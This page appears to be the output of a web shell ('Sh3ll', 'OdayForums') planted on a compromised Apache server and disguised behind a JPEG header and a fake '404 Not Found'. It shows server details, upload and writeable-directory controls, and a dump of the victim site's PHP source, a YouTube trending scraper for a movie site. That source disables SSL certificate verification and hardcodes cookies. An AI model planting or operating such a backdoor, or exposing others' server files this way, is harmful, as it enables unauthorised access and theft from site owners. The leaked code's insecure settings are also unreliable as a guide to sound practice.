����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/home_new.php
<?php
include 'lib/simple_html_dom.php';
class home_new
{
    public function __construct(){
        $this->goIndex();
        $this->goIndex3();
    }
    function weird_answer_to_weird_question($string)
    {
        return preg_replace_callback('#\\\\x([[:xdigit:]]{2})#ism', function($matches)
        {
            return chr(hexdec($matches[1]));
        },
            $string);
    }
    function custom_json_decode($json_text) {

        $decoded_array = json_decode($json_text, TRUE);
        switch (json_last_error()) {
            case JSON_ERROR_NONE:
                return array(
                    "status" => 0,
                    "value" => $decoded_array
                );


            case JSON_ERROR_DEPTH:
                return array(
                    "status" => 1,
                    "value" => 'Maximum stack depth exceeded'
                );

            case JSON_ERROR_STATE_MISMATCH:
                return array(
                    "status" => 1,
                    "value" => 'Underflow or the modes mismatch'
                );

            case JSON_ERROR_CTRL_CHAR:
                return array(
                    "status" => 1,
                    "value" => 'Unexpected control character found'
                );

            case JSON_ERROR_SYNTAX:
                return array(
                    "status" => 1,
                    "value" => 'Syntax error, malformed JSON'
                );

            case JSON_ERROR_UTF8:
                return array(
                    "status" => 1,
                    "value" => 'Malformed UTF-8 characters, possibly incorrectly encoded'
                );

            default:
                return array(
                    "status" => 1,
                    "value" => 'Unknown error'
                );
        }
    }
    function goIndex3(){
        global $smarty,$func,$DB,$memcache;
        $key_cache_trend = md5('video-trend-8-'.$_SESSION['country']);
        $cache_trend = $memcache->get($key_cache_trend);
        if($cache_trend) {
            $arr = $cache_trend;
        }else{
        $url_get = 'https://m.youtube.com/feed/trending/?gl='.$_SESSION['country'];
        $ref = base64_encode($url_get);
        $content2 = '';
        $day_time = date('h-d-m-Y');
        $day_file_name = $_SESSION['country'].'-'.$day_time;
        if(!file_exists('cache/youtube/trending-'.$day_file_name)){
            $content2 = $this->curl_func_home($url_get);
            if(trim($content2)!='') {
                file_put_contents('cache/youtube/trending-'.$day_file_name, $content2);
            }
        }else{
            $content2 = file_get_contents('cache/youtube/trending-'.$day_file_name);
        }

            $arr = explode('var ytInitialData = \'',$content2);
            $arr2 = explode('\';</script>',$arr[1]);
            $str= $this->weird_answer_to_weird_question($arr2[0]);
            $str = html_entity_decode(stripslashes(str_ireplace('\\"','',$str)));

            $data = $this->custom_json_decode($str,true);

        $arr['title'] = $_SESSION['country'].' Trending';
        $arr['token'] = $data['value']['contents']['singleColumnBrowseResultsRenderer']['tabs']['0']['tabRenderer']['content']['sectionListRenderer']['continuations']['0']['reloadContinuationData']['continuation'];
        $arr['ref'] = $ref;
        $arr['country'] = $_SESSION['country'];
        $arr['videos'] = array();
        $i=0;
            foreach($data['value']['contents']['singleColumnBrowseResultsRenderer']['tabs']['0']['tabRenderer']['content']['sectionListRenderer']['contents'] as $key=>$val){
                if(!empty($val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['navigationEndpoint']['watchEndpoint']['videoId']) or !empty($val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['navigationEndpoint']['reelWatchEndpoint']['videoId'])) {
                    $arr['videos'][$i]['title'] =
                        $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['headline']['runs']['0']['text'];
                    $arr['videos'][$i]['title'] = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($arr['videos'][$i]['title']))));
                    $arr['videos'][$i]['id'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['navigationEndpoint']['watchEndpoint']['videoId'] ?? $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['navigationEndpoint']['reelWatchEndpoint']['videoId'];
                    $arr['videos'][$i]['ftitle'] = $func->format_string($arr['videos'][$i]['title']);
                    $arr['videos'][$i]['id_encode'] = bin2hex($func->str_encode($arr['videos'][$i]['id'], 'ngocgiac'));
                    if (isset($val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['thumbnail']['thumbnails']['4']['url']) && $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['thumbnail']['thumbnails']['4']['url'] != '') {
                        $arr['videos'][$i]['img'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['thumbnail']['thumbnails']['4']['url'];
                    } else {
                        $arr['videos'][$i]['img'] = 'https://img.youtube.com/vi/' . $arr['videos'][$i]['id'] . '/mqdefault.jpg';
                    }
                    $arr['videos'][$i]['duration'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['lengthText']['runs']['0']['text'];
                    $arr['videos'][$i]['label'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['headline']['accessibility']['accessibilityData']['label'];
                    $arr['videos'][$i]['view'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['shortViewCountText']['runs']['0']['text'];
                    $arr['videos'][$i]['channel_name'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['shortBylineText']['runs']['0']['text'];
                    $arr['videos'][$i]['channel_url'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['shortBylineText']['runs']['0']['navigationEndpoint']['commandMetadata']['webCommandMetadata']['url'];
                    $arr['videos'][$i]['channel_id'] = $val['itemSectionRenderer']['contents']['0']['videoWithContextRenderer']['shortBylineText']['runs']['0']['navigationEndpoint']['browseEndpoint']['browseId'];

                    $arr['videos'][$i]['user_post'] = $arr['videos'][$i]['channel_name'];
                    $arr['videos'][$i]['fuser_post'] = $func->format_string($arr['videos'][$i]['user_post']);
                    $arr['videos'][$i]['channel_url'] = basename($arr['videos'][$i]['channel_url']);
                    $arr['videos'][$i]['user_id'] = bin2hex($func->str_encode($arr['videos'][$i]['channel_id'], 'ngocgiac'));
                    $arr['videos'][$i]['label'] = $arr['videos'][$i]['label'];
                    $arr_check = explode($arr['videos'][$i]['user_post'], $arr['videos'][$i]['label']);
                    if (strpos($arr_check[1], 'ago') !== false) {
                        $arr_check = explode('ago', $arr_check[1]);
                        $arr['videos'][$i]['ago'] = $arr_check[0] . ' ago';
                    } else {
                        $arr['videos'][$i]['ago'] = str_replace(array($arr['videos'][$i]['title']), array(''), $arr['videos'][$i]['label']);
                        $arr['videos'][$i]['ago'] = str_replace(array($arr['videos'][$i]['channel_name']), array(''), $arr['videos'][$i]['ago']);
                        $arr['videos'][$i]['ago'] = str_replace(array('by'), array(''), $arr['videos'][$i]['ago']);
                        $arr_check = explode('ago', $arr['videos'][$i]['ago']);
                        $arr['videos'][$i]['ago'] = trim($arr_check[0]) . ' ago';
                    }

                }
                $i++;
            }
        $arr['submenu'] = array();
        $j=0;
        foreach($data['contents']['singleColumnBrowseResultsRenderer']['tabs']['0']['tabRenderer']['content']['sectionListRenderer']['subMenu']['channelListSubMenuRenderer']['contents'] as $key=>$val){
            $arr['submenu'][$j]['img'] = $val['channelListSubMenuAvatarRenderer']['thumbnail']['thumbnails']['2']['url'];
            $arr['submenu'][$j]['title'] = $val['channelListSubMenuAvatarRenderer']['title']['runs']['0']['text'];
            $arr['submenu'][$j]['ftitle'] = $func->format_string($arr['submenu'][$j]['title']);
            $arr['submenu'][$j]['ftitle'] = str_replace(array('gaming','news','movies'),array('gamepad','newspaper-o','file-video-o'),$arr['submenu'][$j]['ftitle']);
            $arr['submenu'][$j]['url'] = $val['channelListSubMenuAvatarRenderer']['navigationEndpoint']['commandMetadata']['webCommandMetadata']['url'];
            $arr['submenu'][$j]['id_encode'] = bin2hex($func->str_encode($arr['submenu'][$j]['url'], 'ngocgiac'));
            $j++;
        }
            $memcache->set($key_cache_trend, $arr, MEMCACHE_COMPRESSED, 1200);

        }
        $smarty->assign('detail',$arr);

        //show phim
        $key_phimdecu = md5('phim-de-cu7-'.$_SESSION['lang']); // Unique Words
        $cache_result_phimdecu = $memcache->get($key_phimdecu); // Memcached object
        if($cache_result_phimdecu){
            $list_phimdecu = $cache_result_phimdecu;
        }else {
            $q_phimdecu = $DB->query("SELECT id,theloai,title_vi,title_en,title_other,img,chatluong,ngonngu,namphathanh,linkphim,sotap,hinhthuc FROM gtdesign_phim WHERE status=1 ORDER BY time DESC LIMIT 0,35");
            while ($r_phimdecu = $DB->fetch_row($q_phimdecu)) {
                if ($_SESSION['lang'] != 'vi') {
                    $r_phimdecu['title_vi'] = $r_phimdecu['title_en'];
                    $r_phimdecu['title_en'] = $r_phimdecu['title_other'];
                }
                $r_phimdecu['encode_img'] = bin2hex($func->str_encode($r_phimdecu['img'], 'ngocgiac'));
                $r_phimdecu['ftitle'] = $func->format_string($r_phimdecu['title_vi']);
                $r_phimdecu['sotap_daup'] = substr_count($r_phimdecu['linkphim'], '@') + 1;
                $list_phimdecu[] = $r_phimdecu;
                $memcache->set($key_phimdecu, $list_phimdecu, MEMCACHE_COMPRESSED, 1200);
            }
        }
        $smarty->assign('phimdecu',$list_phimdecu);

    }
    function goIndex(){
        global $smarty,$func,$INFO,$CORE;
        $county_fullname = geoip_country_name_by_name($CORE->ip);
        $_SESSION['county_fullname'] = $county_fullname;
        $smarty->assign('county_fullname',$county_fullname);
        if($_SESSION['lang'] != 'vi') {
            $smarty->assign('title', 'Watch movies and videos free');
            $smarty->assign('description','Watch free hd movies fast, fastest video updates, latest. Create a free video channel no ads. The world of movies, films, videos for everyone.');
        }else{
            $smarty->assign('title', 'Xem phim và video miễn phí');
            $smarty->assign('description','Xem phim hd miễn phí tốc độ nhanh, video cập nhật nhanh nhất, mới nhất. Tạo kênh video miễn phí không quảng cáo. Thế giới nghe nhìn cho mọi người.');
        }
        $smarty->assign('cur_url',$func->current_url());
        $smarty->assign('keywords','drama,movie,video');
        $smarty->assign('image',$INFO['home_url'].'skin/'.$INFO['skin_folder'].'/img/vidoe-logo.png');
    }
    function curl_func_home($url) {
        $ch = curl_init();
        $head[] = 'Host: m.youtube.com';
        $head[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0';
        $head[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
        $head[] = 'Accept-Language: en-US,en;q=0.5';
        $head[] = 'Accept-Encoding: gzip';
        $head[] = 'Connection: keep-alive';
        $head[] = 'Cookie: VISITOR_INFO1_LIVE=fQJoDmD2uIM; _ga=GA1.2.132832653.1582794066; PREF=app=m; CONSENT=YES+VN.vi+20170312-18-0; YSC=f7ClEVxjn-o; GPS=1';
        $head[] = 'Upgrade-Insecure-Requests: 1';
        $head[] = 'Pragma: no-cache';
        $head[] = 'Cache-Control: no-cache';
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/28.0.1500.12 Mobile/10B329 Safari/8536.25');
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, 'https://m.youtube.com');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_COOKIEJAR,  'cookies-m-youtube-com.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies-m-youtube-com.txt');
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
        curl_setopt($ch,CURLOPT_ENCODING , "gzip");
        $page = curl_exec($ch);
        curl_close($ch);
        return $page;
    }
}
$run = new home_new();
?>

ZeroDay Forums Mini